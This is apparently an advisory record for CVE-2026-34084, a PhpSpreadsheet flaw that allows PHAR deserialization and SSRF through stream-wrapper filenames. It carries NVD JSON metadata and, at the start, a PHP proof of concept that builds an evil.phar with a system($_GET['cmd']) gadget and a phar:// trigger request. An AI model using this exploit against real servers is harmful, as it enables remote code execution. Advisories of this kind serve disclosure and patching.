CVE-2026-34084

<?php // Step 1: Generate a malicious PHAR file $phar = new Phar('evil.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // Hypothetical gadget class present in the application class VulnerableClass { function __destruct() { system($_GET['cmd']); // Arbitrary code execution } } // Embed the malicious object in PHAR metadata $object = new VulnerableClass(); $phar->setMetadata($object); $phar->stopBuffering(); // Step 2: Trigger the vulnerability in the target application // Assume the target code looks like this: // $filename = $_GET['file']; // IOFactory::load($filename); // Attacker sends request: // ?file=phar:///path/to/uploaded/evil.phar ?>

{"cve": {"id": "CVE-2026-34084", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:37.007", "lastModified": "2026-05-08T17:10:03.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the is_file() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.30.3", "matchCriteriaId": "E755C6A6-D3D6-42F9-8D08-850C3CECB6C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.15", "matchCriteriaId": "96F09B15-D635-42DF-AC2E-9BC4AA90AED7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.4.4", "matchCriteriaId": "E3C085A1-D3A3-42BA-B414-3098F12C6A9C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.10.4", "matchCriteriaId": "9B9DC426-6063-4D34-B0C0-A7307624272C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "5.6.0", "matchCriteriaId": "DFC83F50-D7FC-4A02-82D1-A2D92F0BF795"}]}]}], "references": [{"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}